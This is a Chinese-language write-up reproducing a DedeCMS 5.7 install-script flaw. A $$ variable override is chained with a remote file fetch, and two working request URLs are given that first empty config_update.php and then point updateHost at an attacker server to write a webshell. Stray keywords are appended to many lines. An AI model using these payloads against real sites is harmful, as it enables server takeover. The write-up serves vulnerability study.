漏洞在/install/index.php(index.php.bak)文件中,漏洞原由是$$符號使用不當,致使變量覆蓋以致於最後引發遠程文件包含漏洞。php
看代碼的18-39行html
$insLockfile = dirname(__FILE__).'/install_lock.txt'; $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc'; define('DEDEINC',dirname(__FILE__).'/../include'); define('DEDEDATA',dirname(__FILE__).'/../data'); define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__))); header("Content-Type: text/html; charset={$s_lang}"); require_once(DEDEROOT.'/install/install.inc.php'); require_once(DEDEINC.'/zip.class.php'); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); } require_once(DEDEINC.'/common.func.php'); if(file_exists($insLockfile)) { exit(" 程序已運行安裝,若是你肯定要從新安裝,請先從FTP中刪除 install/install_lock.txt!"); }
紅色標記的代碼段就是變量覆蓋產生的地方,大體意思是將get,post或者cookie方式傳入的值經過foreach以鍵值對的方式輸出,例如在url中輸入 ?str=hello,則$_k的值就是str,$_v的值就是hello 因此 ${$_K}就是$str,這裏很明顯的變量覆蓋了。後面的RunMagicQuotes函數在另外一個文件中定義的,在這裏理解爲返回參數內容就行了。web
只有變量覆蓋漏洞暫時還不夠,咱們接着往下看。跳到代碼的最後幾行(373-387)sql
else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您能夠選擇安裝進行體驗)'; else echo ' <font color="red">[×]</font> 遠程獲取失敗'; unset($sql_content); fclose($fp); exit(); }
這段代碼塊引入了 /data/admin/config_update.php文件,文件內容爲shell
<?php /** * 更新服務器,若是有變更,請到 http://bbs.dedecms.com 查詢 * * @version $Id: config_update.php 1 11:36 2011-2-21 tianya $ * @package DedeCMS.Administrator * @copyright Copyright (c) 2007 - 2010, DesDev, Inc. * @license http://help.dedecms.com/usersguide/license.html * @link http://www.dedecms.com */ //更新服務器,若是有變更,請到 http://bbs.dedecms.com 查詢 $updateHost = 'http://updatenew.dedecms.com/base-v57/'; $linkHost = 'http://flink.dedecms.com/server_url.php';
這裏定義了變量updateHost,繼續看373-387行代碼,$updateHost與"dedecms/demodata.{$s_lang}.txt"拼接爲字符串,並利用file_get_contents函數讀取demodata.{$s_lang}.txt文件內容,最後將該文件內容寫入到$install_demo_name = 'dedev57demo.txt'文件中,所以咱們能夠結合上面的變量覆蓋漏洞來進行遠程文件包含,直接寫webshell。因爲$updateHost變量是引入進來的因此不能直接進行覆蓋,須要先將config_update.php文件清空再包含。服務器
訪問/install/index.php(index.php.bak),查看文件是否存在。cookie
存在。構造payload再次訪問,此時清空config_update.php文件。ide
/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../data/admin/config_update.php函數
能夠看到文件已經被清空,這時咱們就能夠利用變量覆蓋來遠程包含咱們的文件了。post
/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../shell.php&updateHost=http://127.0.0.1/
至此漏洞復現成功。